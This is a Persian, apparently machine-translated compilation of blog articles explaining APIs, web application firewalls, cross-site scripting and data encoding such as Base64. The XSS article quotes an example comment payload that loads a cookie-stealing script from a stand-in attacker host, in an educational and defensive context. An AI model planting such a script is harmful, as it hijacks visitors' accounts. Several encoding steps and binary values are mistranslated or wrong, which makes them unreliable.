11 - API چیست ؟

API چیست ؟

API چیست ؟

امروزه عبارت API در موارد زیادی استفاده می شود. سیستم‌ عامل، مرورگر وب و به‌ روزرسانی‌ های برنامه‌ های کاربردی، اغلب API های جدید ارائه می‌ دهند؛ در واقع API به چه معناست ؟

عبارت API مخفف ( Application Programming Interface ) است که به معنای رابط برنامه‌ نویسی برنامه کاربردی می باشد.

به API مانند منوی یک رستوران نگاه کنید. منو شامل لیستی از غذا ها به همراه توضیحی در مورد هر غذا است. زمانی که یکی از غذا های منو را سفارش می‌ دهید، آشپزخانه رستوران کار تهیه غذا را انجام می‌ دهد. شما دقیقاً نمی‌ دانید که رستوران چگونه غذا را آماده می‌ کند. به‌طور مشابه، API عملیاتی که توسعه‌ دهندگان از آن‌ ها استفاده می‌ کنند را به همراه شرح فعالیت آن‌ ها لیست می‌ کند. توسعه‌ دهنده نیازی به دانستن چگونگی ساخت پنجره « Save As » توسط سیستم‌ عامل ندارند، بلکه تنها دانستن وجود این امکان در برنامه برای آن‌ ها کافی است.

A - API چیست ؟

این که توسعه‌ دهندگان، داده خودشان را به API می‌ دهند تا نتیجه را دریافت کنند تفسیر درستی نمی باشد. این موضوع بیشتر شبیه یک رستوران خیالی است که غذا را با مواد اولیه‌ ای که شما با خود به رستوران برده‌ اید، برایتان آماده ‌کند. API به‌طورکلی بسیار دقیق است. API ها به توسعه‌ دهندگان اجازه می‌ دهند تا با استفاده از مزایای پیاده‌  سازی در زمان صرفه‌ جویی کنند و به اصل مطلب بپردازند. به این ترتیب نیاز کمتری به تولید کد دارند و همچنین سازگاری بیشتری با برنامه‌ های کاربردی ایجاد می‌ کند. API ها دسترسی به منابع سخت‌ افزاری و نرم‌ افزاری را کنترل می‌ کنند.

ویژگی API ها :

API ها زندگی را برای توسعه‌ دهندگان ساده‌ تر کرده اند

تصور کنید می‌ خواهید یک برنامه کاربردی را برای iPhone توسعه دهید. سیستم‌عامل iOS مانند دیگر سیستم‌ عامل‌ ها تعداد زیادی API تولید می‌ کند، تا کار شما ساده‌تر شود.

به‌ عنوان‌ مثال وقتی که شما می‌ خواهید یک مرورگر را برای نمایش یک یا چند صفحه وب در برنامه‌ تان بگذارید، نیازی نیست که یک مرورگر را برای برنامه‌ تان از ابتدا برنامه‌ نویسی کنید. بلکه می‌ توانید از WKWebView API برای قرار دادن مرورگر Safari در برنامه‌ تان استفاده کنید.

اگر می‌ خواهید در برنامه‌ تان با استفاده از دوربین iPhone عکس یا ویدیو تهیه کنید، نیازی نیست که رابط کاربری دوربین خودتان را بنویسید. شما از API دوربین برای گنجاندن دوربین داخلی iPhone در برنامه خود استفاده می‌ کنید. اگر API ها وجود نداشتند تا کار را ساده کنند، در این صورت توسعه‌ دهندگان برنامه کاربردی باید نرم‌افزار دوربین خودشان را ایجاد می‌ کردند و ورودی‌ های سخت‌افزار دوربین را تفسیر می‌ کردند؛ اما توسعه‌ دهندگان سیستم‌ عامل Apple همه این دشواری‌ ها را انجام داده‌ است، بنابراین توسعه‌ دهندگان می‌ توانند تنها با استفاده از API دوربین، دوربین را در برنامه‌ شان تعبیه کنند و به کارشان ادامه دهند. علاوه بر این، زمانی که Apple به توسعه API دوربین می‌ پردازد، همه برنامه‌ های کاربردی مبتنی بر آن به‌ طور خودکار از مزایای آن بهره‌ مند می‌ شوند.

این مسئله برای همه پلتفرم‌ ها قابل‌ تعمیم است. برای مثال، آیا شما می‌ خواهید یک دیالوگ باکس در ویندوز ایجاد کنید؟ API ای برای آن وجود دارد. آیا می‌خواهید شناسایی با اثرانگشت را در اندروید پشتیبانی کنید؟ برای آن‌ هم یک API دیگر وجود دارد؛ بنابراین شما نیازی به بررسی حس‌ گر اثر انگشت شرکت‌ های مختلف در اندروید ندارید. توسعه‌ دهندگان نیاز به اختراع دوباره چرخ ندارند.

API ها دسترسی به منابع را کنترل می‌ کنند

از API ها برای کنترل دسترسی به سخت‌ افزارها و عملیات نرم‌ افزاری که ممکن است هر برنامه‌ای اجازه دسترسی به آن‌ ها را نداشته باشد، استفاده می‌ شود. به همین دلیل API ها اغلب نقش بزرگی در امنیت ایفا می‌ کنند.

به‌ عنوان‌ مثال، اگر شما تا کنون از وب‌ سایتی بازدید کرده‌ اید و پیغامی را در مرورگر مشاهده کرده‌ اید که از شما در مورد مکان دقیقتان سؤال پرسیده است، آن وب‌ سایت سعی در استفاده از geolocation API در مرورگر وب شما دارد. مرورگرها چنین API هایی را ارائه می‌ دهند تا دسترسی به موقعیت شما را برای توسعه‌ دهندگان وب ساده‌ تر کنند. آن‌ ها تنها می‌ پرسند « شما کجا هستید؟ » قسمت سخت کار را برای دسترسی به GPS یا شبکه‌ های Wi-Fi نزدیک برای یافتن موقعیت فیزیکی شما، همگی بر عهده مرورگر می باشد.

P - API چیست ؟

به این ترتیب، مرورگرها این اطلاعات را از طریق یک API نیز ارائه می‌ دهند زیرا کنترل دسترسی به آن امکان‌ پذیر است. زمانی که یک وب‌ سایت می‌ خواهد به موقعیت دقیق فیزیکی شما دست یابد، تنها راه ممکن استفاده از API مکانی است؛ و زمانی که یک وب‌ سایت درخواست دسترسی به موقعیت شما را دارد، شما ( کاربر ) می‌ توانید درخواست او را بپذیرید یا رد کنید. تنها راه دسترسی به منابع سخت‌ افزاری مانند حس‌ گر های GPS از طریق API است بنابراین مرورگر توانایی کنترل دسترسی به سخت‌ افزار و محدود نمودن آنچه برنامه‌ های کاربردی می‌خواهند انجام دهند را دارد.

قانون مشابهی در سیستم‌ عامل‌ های موبایل‌ های پیشرفته مانند iOS و اندروید استفاده می‌ شود که برنامه‌ های کاربردی دارای مجوز هایی هستند که می‌ توانند با کنترل دسترسی به API ها اجرایی شوند. به‌ عنوان‌ مثال، اگر توسعه‌ دهنده‌ ای تقاضای دسترسی به دوربین را از طریق API دوربین داشته باشد، شما می‌ توانید درخواست مجوز را رد کنید و برنامه کاربردی دیگر برای دسترسی به دوربین دستگاه شما نخواهد داشت.

از API ها برای برقراری ارتباط بین سرویس‌ ها استفاده می‌ شود

دلایل دیگری نیز برای استفاده از API ها وجود دارد. برای مثال، اگر تا کنون آبجکت Google Maps تعبیه‌ شده در یک وب‌ سایت را دیده باشید، می‌ بینید که آن وب‌ سایت از Google Maps API برای تعبیه نقشه استفاده می‌ کند. گوگل چنین API هایی را برای توسعه‌ دهندگان وب ارائه داده است تا بتوانند با استفاده از آن‌ ها آبجکت‌ های پیچیده را به‌ درستی در وب‌ سایتشان قرار دهند. اگر چنین API هایی وجود نداشت، توسعه‌ دهندگان باید نقشه‌ های خودشان را تولید و داده‌ های آن را فراهم می‌ کردند، فقط برای اینکه یک نقشه تعاملی در وب‌سایت قرار دهند.

همچنین، به دلیل اینکه این یک API است، گوگل می‌ تواند دسترسی به Google Maps را در وب‌ سایت‌ های دیگر کنترل کند و تضمین کند که آن را به‌ درستی نمایش می‌ دهند نه اینکه آن را به‌ صورت یک قاب به‌ هم‌ ریخته در وب‌ سایتشان تعبیه کنند. این موضوع شامل سرویس‌ های آنلاین مختلفی می‌ شود. علاوه بر این API هایی دیگری نیز برای درخواست ترجمه متن از Google Translate یا تعبیه نظرات فیس‌ بوک یا توییت هایی از Twitter وجود دارد.

نتیجه 

API ها قرار داد های استانداردی هستند که تعیین می‌ کنند توسعه‌ دهندگان چگونه با یک سرویس و انواع خروجی‌ های آن تعامل داشته باشند. اگر این مطلب را خواندید، حالا می‌ دانید که API چیست. اگر مشاهده کردید که یک پلتفرم نرم‌ افزاری یا سرویس، API های جدیدی برای سخت‌ افزارها یا سرویس‌ های مختلف اضافه کرده است، بدانید که بدین ترتیب توسعه‌ دهندگان می‌ توانند راحت‌ تر از مزایای چنین خصوصیاتی بهره ببرند.

750x480 - فایروال برنامه وب (WAF)

فایروال برنامه وب (WAF)

فایروال برنامه وب (WAF) چیست؟

فایروال برنامه وب (WAF) برنامه های وب را در برابر انواع حملات لایه برنامه از قبیل برنامه نویسی متقابل سایت (XSS) ، تزریق SQL و … محافظت می کند. حملات به برنامه ها عامل اصلی نقض است – آنها دروازه ورود به داده های ارزشمند شما هستند. با استفاده از WAF مناسب ، می توانید مجموعه ای از حملات را که هدف از آنها پیوند مجدد آن داده ها با به خطر انداختن سیستم های خود است ، مسدود کنید.

فایروال برنامه وب (WAF) چگونه کار می کند؟

.jpg - فایروال برنامه وب (WAF)

WAF با فیلتر کردن ، نظارت و مسدود کردن هرگونه ترافیک مخرب HTTP / S در ورود به برنامه وب ، از برنامه های وب شما محافظت می کند و مانع خروج هر گونه داده غیرمجاز از برنامه می شود. این کار را با رعایت مجموعه ای از خط مشی ها انجام می دهد که به تعیین اینکه کدام  ترافیک نامفید است و چه ترافیکی بی خطر است کمک می کند. درست همانطور که یک سرور پراکسی به عنوان واسطه ای برای محافظت از هویت مشتری عمل می کند ، یک WAF نیز با همان روش کار می کند اما به صورت معکوس – به نام یک پروکسی معکوس – به عنوان واسطه ای عمل می کند که سرور برنامه وب را از یک مشتری بالقوه مخرب محافظت می کند.

WAF ها می توانند به صورت نرم افزار ، یک لوازم خانگی یا به صورت سرویس ارائه شوند. خط مشی ها می توانند برای رفع نیازهای منحصر به فرد برنامه وب یا مجموعه برنامه های وب شخصی سازی شوند. اگرچه بسیاری از WAF ها برای رفع آسیب پذیری های جدید به شما نیاز دارند که به طور منظم خط مشی ها را به روز کنید ، پیشرفت های مربوط به یادگیری ماشینی برخی از WAF ها را قادر می سازد که بطور خودکار بروزرسانی شوند. این اتوماسیون با جدی تر شدن چشم انداز تهدید در پیچیدگی و ابهام بسیار مهم می شود.

تفاوت بین فایروال برنامه وب (WAF) ، سیستم پیشگیری از نفوذ (IPS) و فایروال نسل بعدی (NGFW)

IPS یک سیستم پیشگیری از نفوذ است ،  WAF یک فایروال برنامه وب است و  NGFW یک فایروال نسل بعدی است. تفاوت بین همه آنها چیست؟

.jpg - فایروال برنامه وب (WAF)

IPS محصولی امنیتی با تمرکز گسترده تر است. این به طور معمول امضایی و مبتنی بر سیاست است – به این معنی که می تواند آسیب پذیریهای شناخته شده و بردارهای حمله را بر اساس یک پایگاه داده امضا و سیاستهای تعیین شده بررسی کند. IPS یک استاندارد مبتنی بر پایگاه داده و خط مشی تنظیم می کند و در صورت انحراف هرگونه ترافیک از استاندارد ، هشدارهایی را ارسال می کند. امضاها و خط مشی ها با شناخت آسیب پذیری های جدید به مرور زمان رشد می کنند. به طور کلی ، IPS از ترافیک در طیف وسیعی از انواع پروتکل مانند DNS ، SMTP ، TELNET ، RDP ، SSH و FTP محافظت می کند. IPS به طور معمول روی لایه های ۳ و ۴ را کار می کند و از آن محافظت می کند. لایه های شبکه و جلسه اگرچه برخی ممکن است محافظت محدودی در لایه برنامه (لایه ۷) ارائه دهند.

بیشتربخوانید >>‌ سرور Origin چیست؟ 

فایروال برنامه وب (WAF) از لایه برنامه محافظت می کند و به طور خاص برای تجزیه و تحلیل هر درخواست HTTP / S در لایه برنامه طراحی شده است. به طور معمول کاربر ، جلسه و برنامه های آگاه ، آگاهی از برنامه های وب موجود در پشت آن و چه خدماتی را ارائه می دهد. به همین دلیل ، شما می توانید یک WAF را به عنوان واسطه بین کاربر و برنامه خود فکر کنید و تمام ارتباطات را قبل از رسیدن به برنامه یا کاربر آنالیز کنید. WAF های سنتی اطمینان می دهند که فقط اقدامات مجاز (بر اساس سیاست امنیتی) قابل اجرا هستند. برای بسیاری از سازمان ها ، WAF ها اولین دفاع قابل اعتماد برای برنامه های کاربردی هستند ، به ویژه برای محافظت در برابر OWASP Top 10 – لیست بنیادی آسیب پذیرترین برنامه های کاربردی. ۱۰ مورد برتر در حال حاضر شامل موارد زیر است:

  • حملات تزریق
  • تأیید هویت خراب
  • قرار گرفتن در معرض داده های حساس
  • XML اشخاص خارجی (XXE)
  • کنترل دسترسی شکسته
  • تنظیمات غلط امنیتی
  • برنامه نویسی متقاطع سایت (XSS)
  • استهلاک ناامن

.jpg - فایروال برنامه وب (WAF)

فایروال نسل بعدی (NGFW) ترافیک خارج شده به اینترنت را از طریق وب سایت ها ، حساب های ایمیل و SaaS نظارت می کند. به عبارت ساده ، از کاربر محافظت می کند (در مقابل برنامه وب). NGFW خط مشی های مبتنی بر کاربر را اعمال می کند و علاوه بر اضافه کردن ویژگی هایی از قبیل فیلتر URL ، آنتی ویروس / ضد بدافزار ، و سیستم های پیشگیری از نفوذ خود (IPS) علاوه بر اضافه کردن ویژگی هایی به سیاست های امنیتی نیز می افزاید. در حالی که یک WAF معمولاً یک پروکسی معکوس (مورد استفاده توسط سرورها) است ، NGFW ها اغلب پروکسی های رو به جلو هستند (توسط مشتریانی مانند مرورگر استفاده می شوند).

روشهای مختلف استقرار

WAF می تواند به چند روش مستقر شود – همه اینها بستگی به محل استقرار برنامه های شما ، خدمات مورد نیاز ، نحوه مدیریت آن و سطح انعطاف پذیری معماری و عملکرد مورد نیاز شما دارد. آیا می خواهید خودتان آنرا مدیریت کنید یا می خواهید از این مدیریت برون سپاری کنید؟ آیا این یک مدل مناسب برای داشتن گزینه ابری یا آپشن است یا آیا می خواهید WAF شما در محوطه ها بنشیند؟ نحوه استقرار شما به تعیین صحیح WAF برای شما کمک می کند. در زیر گزینه های شما وجود دارد.

1 - فایروال برنامه وب (WAF)

حالت های استقرار WAF:

مبتنی بر ابر + کاملاً به عنوان یک سرویس اداره می شود – اگر به سریع ترین و بدون دردسرترین راه برای بدست آوردن WAF در مقابل برنامه های خود نیاز دارید سریعاً و بدون دردسر است.
مبتنی بر ابر + خود مدیریتی – تمام انعطاف پذیری و قابل حمل بودن سیاست امنیتی ابر را داشته باشید و در عین حال کنترل مدیریت ترافیک و تنظیمات سیاست امنیتی را حفظ کنید
مبتنی بر ابر + تأمین خودکار — این ساده ترین راه برای شروع کار با یک WAF در ابر است ، و اجرای سیاست های امنیتی با روشی آسان و مقرون به صرفه
پیشرفته WAF در داخل ساختمان (لوازم مجازی یا سخت افزاری) – این مهمترین استقرار را ملاقات می کند که نیاز به انعطاف پذیری ، کارایی و نگرانی های امنیتی پیشرفته تر برای ماموریت دارد

منبع 

Hoonarjo 2.jpgس 750x480 - حمله به اسکریپت نویسی سایت (XSS)

حمله به اسکریپت نویسی سایت (XSS)

اسکریپت نویسی سایت متقاطع (XSS) چیست؟

اسکریپت نویسی یا برنامه نویسی (Cross Site XSS) یک بردار حمله متداول است که کدهای مخرب را به یک برنامه وب آسیب پذیر تزریق می کند. XSS با سایر بردارهای حمله وب (مانند تزریق SQL) متفاوت است ، به این دلیل که مستقیماً برنامه مورد نظر خود را هدف قرار نمی دهد. درعوض ، کاربران برنامه وب کسانی هستند که در معرض خطر هستند.

یک حمله موفقیت آمیز در زمینه نگارش در سایت ، می تواند عواقب مخربی برای شهرت یک کسب و کار آنلاین و ارتباط آن با مشتریان خود داشته باشد.

بسته به شدت حمله ، ممکن است حسابهای کاربر به خطر بیفتد ، برنامه اسب Trojan فعال شود و محتوای صفحه تغییر یابد ، کاربران را گمراه می کند تا با اراده شخصی اطلاعات شخصی خود را تسلیم کنند. سرانجام ، کوکی های جلسه می توانند فاش شوند و به یک عامل متهم می شود تا کاربران معتبر را جعل کند و از حساب های خصوصی خود سوء استفاده کند.

بیشتربخوانید >>‌ سرور Origin چیست؟ 

حملات اسکریپت کراس سایت می تواند به دو نوع تقسیم شود: ذخیره شده و منعکس شده.

ذخیره شده XSS ، همچنین به عنوان XSS مداوم شناخته می شود ، آسیب بیشتری به این دو می زند. این اتفاق می افتد وقتی یک اسکریپت مخرب مستقیماً به یک برنامه وب آسیب پذیر تزریق می شود.

بازتاب XSS شامل بازتاب یک اسکریپت مخرب از یک برنامه وب ، بر روی مرورگر کاربر است. اسکریپت در یک پیوند تعبیه شده است و فقط پس از کلیک بر روی این لینک فعال می شود.

برنامه نویسی متقاطع ذخیره شده چیست؟ 

Hoonarjo 2.jpgی - حمله به اسکریپت نویسی سایت (XSS)

برای انجام موفقیت آمیز یک حمله ذخیره شده XSS ، یک مرتکب مجبور است یک آسیب پذیری را در یک برنامه وب پیدا کند و سپس اسکریپت های مخرب را به سرور خود تزریق کند (به عنوان مثال ، از طریق یک قسمت نظر).

یکی از هدفهای متداول وب سایتهایی هستند که به کاربران امکان اشتراک گذاری مطالب را از جمله وبلاگ ها ، شبکه های اجتماعی ، سیستم عامل های اشتراک گذاری ویدیو و تابلوهای پیام را می دهد. هر بار که صفحه آلوده مشاهده می شود ، اسکریپت مخرب به مرورگر قربانی منتقل می شود.

به عنوان مثال حمله ذخیره شده XSS

مرتکب هنگام مرور یک وب سایت تجارت الکترونیکی ، یک آسیب پذیری را کشف می کند که باعث می شود برچسب های HTML در بخش نظرات سایت تعبیه شوند. برچسب های تعبیه شده به یک ویژگی دائمی صفحه تبدیل می شوند و باعث می شوند مرورگر هر بار که صفحه باز می شود ، آنها را با بقیه منبع منبع تجزیه کند.

مهاجم نظر زیر را اضافه می کند: قیمت عالی برای کالای عالی! نقد و بررسی من را اینجا بخوانید src \u003d ‘http://hackersite.com/authstealer.js’ / اسکریپت.

از این نقطه به بعد ، هر بار که به این صفحه دسترسی پیدا کنید ، برچسب HTML موجود در نظر ، پرونده JavaScript را که در یک سایت دیگر میزبانی شده است ، فعال می کند و این قابلیت را دارد که کوکی های جلسه بازدید کنندگان را سرقت کند.

.jpg - حمله به اسکریپت نویسی سایت (XSS)

با استفاده از کوکی جلسه ، مهاجم می تواند حساب بازدید کننده را به خطر بیاندازد و به وی دسترسی آسان به اطلاعات شخصی و اطلاعات کارت اعتباری خود را بدهد. در همین حال ، بازدید کننده ، که ممکن است هرگز حتی به بخش نظرات پایین نوردد ، آگاهی ندارد که این حمله رخ داده است.

برخلاف حمله منعکس شده ، در جایی که فیلمنامه پس از کلیک روی یک لینک فعال می شود ، حمله ذخیره شده فقط نیاز دارد که قربانی از صفحه وب به خطر بیافتد. این میزان دسترسی را افزایش می دهد و همه بازدید کنندگان را بدون توجه به سطح هوشیاری آنها به خطر می اندازد.

از نظر مرتکب ، حملات مداوم XSS به دلیل مشکل در یافتن وب سایت قاچاق شده و آسیب پذیری هایی که امکان تعبیه اسکریپت دائمی را دارند ، انجام نسبتاً سخت تر است.

پیشگیری / کاهش حمله XSS ذخیره شده

.jpg - حمله به اسکریپت نویسی سایت (XSS)

فایروال برنامه وب (WAF) متداول ترین راه حل برای محافظت در برابر حملات XSS و برنامه های وب است.

WAF ها از روشهای مختلفی برای مقابله با بردارهای حمله استفاده می کنند. در مورد XSS ، بیشتر برای شناسایی و مسدود کردن درخواست های مخرب به فیلترهای مبتنی بر امضا متکی هستند.

مطابق با بهترین شیوه های صنعت ، فایروال برنامه وب ابری Imperva از فیلتر امضا نیز برای مقابله با حملات اسکریپت کراس سایت استفاده می کند.

Imperva cloud WAF به عنوان یک سرویس مدیریت شده ارائه می شود ، که به طور مرتب توسط تیمی از کارشناسان امنیتی که دائماً قانون امنیتی را با امضاهای بردارهای حمله تازه کشف شده به روز می کنند ، ارائه می شود.

فن آوری کلاچینگ Imperva بطور خودکار داده ها را از طریق شبکه خود جمع می کند و به سود کلیه مشتریان حمله می کند.

رویکرد شلوغی ، پاسخ سریع را به تهدیدات روز صفر می دهد ، و به محض شناسایی یک حمله تک ، تمام جامعه کاربران را در برابر هرگونه تهدید جدید محافظت می کند.

Crowdsourcing همچنین استفاده از سیستم شهرت IP را امکان پذیر می کند که متخلفین مکرر ، از جمله منابع بات نت را که مجدداً توسط مجرمین متعدد مورد استفاده مجدد قرار می گیرند ، مسدود می کند.

منبع

Hoonarjo 2.jpgس 750x480 - راهنمای درک رمزگذاری برای افراد مبتدی

راهنمای درک رمزگذاری برای افراد مبتدی

درک رمزگذاری

در این مقاله نوع متفاوتی از فرآیند در رمزگذاری داده ها توضیح داده می شود. اصطلاح داده های رمزگذاری شده به معنای داده های پیچیده شده است و فرایند رمزگذاری برای تبدیل داده ها به فرمت متفاوت استفاده می شود تا با انواع مختلفی از سیستم به راحتی قابل درک باشد.

به عنوان مثال ، کاراکترهای ASCII با استفاده از اعداد رمزگذاری می شوند: A با ۶۵ نمایش داده می شود ، جایی که به عنوان ‘B’ با ۶۶ و…

از آنجا که می دانیم رایانه زبانهای انسانی را درک نمی کند ، بنابراین باید داده ها را به زبانی باینری رمزگذاری کنیم که توسط سیستمهای رایانه ای به راحتی قابل خواندن است از این رو رمزگذاری بسیار مهم است. این برنامه از چنین طرح هایی استفاده می کند که به طور گسترده ای در دسترس است تا بتوان به سادگی کاراکتر ها را معکوس کرد. رمزگذاری به معنای تبدیل داده است ، نه رمزگذاری داده ها و در نتیجه نیازی به رمز در رمزگشایی ندارد.

URL رمزگذاری شده 

اینترنت فقط URL را با فرمت ASCII می پذیرد ، کدگذاری URL مستلزم رمزگذاری قسمت خاصی از مجموعه شخصیت های URL است. این فرآیند یک کاراکتر را می گیرد و آن را به یک سه گانه کاراکتر تبدیل می کند که دارای پیشوند ‘٪’ است و پس از آن دو رقم در قالب شش ضلعی قرار می گیرد.

20190810 134525 Recovered.jpgw  - راهنمای درک رمزگذاری برای افراد مبتدی

مثال :

URL اصلی: https://www.hackingarticles.in

URL رمزگذاری شده: http٪ ۳A٪ ۲F٪ ۲Fwww.hackingarticles.in

شش ضلعی
Hexadecimal یا Base 16 یک سیستم عدد موقعیتی است که از ۱۶ علامت متمایز تشکیل شده است که از عدد ۰ تا ۹ عدد و هر دو الفبای بزرگ و کوچک که از A تا F متغیر است تشکیل شده و مقادیر عددی ۱۰ تا ۱۵ را نشان می دهد.

مرحله ۱ – برای بدست آوردن مقدار اعشار یک الفبای است ، این برای هر دو مورد بزرگ و کوچک متفاوت است ، به عنوان مثال: A = 65 و a = 97. برای یافتن مقدار هر الفبای ، ما آن را از  ”A” یا “a” ، حساب می کنیم مقادیر به صورت متوالی یک رقمی هستند ، به عنوان مثال: A = 65 B = 66 C = 67 و … / a = 97 b = 98 c = 99 و …

مرحله ۲ – برای تبدیل از اعشار به شش ضلعی ، مقدار اعشاری را برداشته و آن را بر ۱۶ تقسیم می کنیم بنابراین مقدار هگز ۹۷ برابر ۶۱ خواهد بود.

به عنوان مثال:

Untitled 1.jpgs  - راهنمای درک رمزگذاری برای افراد مبتدی

Base64

هر رقم base64 دقیقاً ۶ بیت داده را نشان می دهد. این یک رشته radix-64 از رشته ASCII است ، در اینجا چگونه می توانیم آن را بدست آوریم؟

بیشتر بخوانید >>‌ نحوه نمایش توییت های اخیر در وردپرس با ابزارک های توییتر

مرحله ۱ – برای بدست آوردن مقدار اعشار یک الفبای است ، این برای هر دو مورد بزرگ و کوچک متفاوت است ، به عنوان مثال: A = 65 و a = 97. برای یافتن مقدار هر الفبای ، ما آن را ازA ‘یا’ a ‘  حساب می کنیم. ، مقادیر به صورت متوالی یک رقمی هستند ، به عنوان مثال: A = 65 B = 66 C = 67 و غیره / a = 97 b = 98 c = 99 و غیره.

مرحله ۲ – تقسیم عدد اعشاری بر ۲ است ، جایی که مقسوم علیه وجود دارد به عنوان ‘۱’ مشخص می شود و هرجا که باقی مانده ‘۰’ باشد ، به عنوان ‘۰’ مشخص می شود ، ادامه تقسیم کنید تا به ۰ برسید. یا ۱ و دیگر نمی تواند تقسیم کند. مقدار باینری تعداد ۱ و ۰ علامت گذاری شده از آخرین تا اول خواهد بود.

به عنوان مثال: برای بدست آوردن یک مقدار ۸ بیتی ، پیشوند ‘۰’ را به مقدار می دهیم ، به عنوان مثال: ۰۱۰۱۰۰۱۰ و این مقدار دودویی ‘a’ را به ما می دهد.

Untitled 2.jpg33333333 - راهنمای درک رمزگذاری برای افراد مبتدی

مرحله ۳ – مقادیر تمام شخصیت ها را به صورت باینری بنویسید و جفت های ۶ (۶ بیتی) را ایجاد کنید ، به عنوان مثال: مقدار باینری ‘Raj’ در ۸ بیتی = ۰۱۰۱۰۰ ۱۰۰۱۱۰ ۰۰۰۱۰۱ ، مقدار باینری ‘Raj’ در ۶ بیتی. = ۰۱۰۱۰۰ ۱۰۰۱۱۰ ۰۰۰۱۰۱ ۱۰۱۰۱۰٫

مرحله ۴ – مقدار اعشاری ۶ بیتی از جفت هایی که در مرحله ۳ ایجاد می کنیم را بنویسید و تمام مقادیر را در جایی که ۱ داریم اضافه کنید

Untitled 2.jpg444 - راهنمای درک رمزگذاری برای افراد مبتدی

مرحله ۵ – از جدول Base64 برای جستجوی مقادیر موجود در مرحله ۴ استفاده کنید.

جدول فهرست Base64:

Untitled 2.jpg55 - راهنمای درک رمزگذاری برای افراد مبتدی

مقدار رمزگذاری شده Base64. Raj از UmFq است. کدگذاری شده در ASCII ، شخصیت های R ، a و j به عنوان مقادیر اعشاری ۸۲ ، ۹۷ و ۱۰۶ ذخیره می شوند ، مقادیر باینری ۸ بیتی آنها ۰۱۰۱۰۰۱۰ ، ۰۱۱۰۰۰۰۱ و ۰۱۱۰۱۰۱۰ است. این سه مقدار در یک رشته ۲۴ بیتی جمع می شوند. گروه های ۶ نفره از چپ به راست به شماره های فردی تبدیل می شوند. هنگام تبدیل از ۸ بیتی به ۶ بیتی ، ۰ را برای پر کردن آخرین شکاف ها اضافه می کنیم ، به این ترتیب یک جفت کامل ۶ عدد ایجاد می شود.

تبدیل کامل ‘Raj’ به Base64 در جدول ۱٫۱ نشان داده شده است و تبدیل فردی ‘R’ و ‘Ra’ از ‘Raj’ در جداول ۱٫۱ و ۱٫۲ نشان داده شده است تا بتواند روند کار را با توضیح توضیح دهد.

Raj                                                                              ۸۲ ۹۷ ۱۰۶                                                                ۰۱۰۱۰۰۱۰ ۰۱۱۰۰۰۰۱ ۰۱۱۰۱۰۱۰

در جدول ۱٫۲ ، برای شخصیت ‘R’ ‘Raj’ مقادیر موجود در الگوی Bit در قالب ۸ بیتی قرار گرفته و به ۶ بیتی تبدیل می شوند و مقدار اعشاری جفت های ۶ بیتی در این فهرست قرار دارند. 

همین روند در جدول ۱٫۳ برای شخصیت های ‘R’ و ‘a’ ‘Raj’ تکرار می شود.

برای هر جفت ۰ اضافی اضافه شده برای تکمیل یک جفت ۶ ، ‘=’ برای هر جفت اضافه می شود ، بنابراین مقدار ACHII ‘0 0’ ” است.

در جدول ۱٫۴ برای ساخت بیشتر در منطق به کار رفته در جدول ۱٫۲ و ۱٫۳ ، ‘Raaj’ در Base64 به ‘UmFhag ==’ تبدیل می شود ، با افزودن ‘a’ اضافی ، پیچیدگی تبدیل افزایش می یابد. در Indexsection می توانیم به دلیل تغییر در الگوی بیت ، افزونه ای از ۳۳ ، ۲۶ و ۳۲ را مشاهده کنیم.

برای هر جفت ۰ مورد اضافی که برای تکمیل یک جفت ۶ اضافه شده است ، ‘=’ برای هر جفت اضافه می شود ، بنابراین مقدار ACHII ‘0 0’ مانند ‘در جدول ۱٫۲ و ۱٫۳’ ‘=’ است.

منبع 

منبع: hackingarticles.in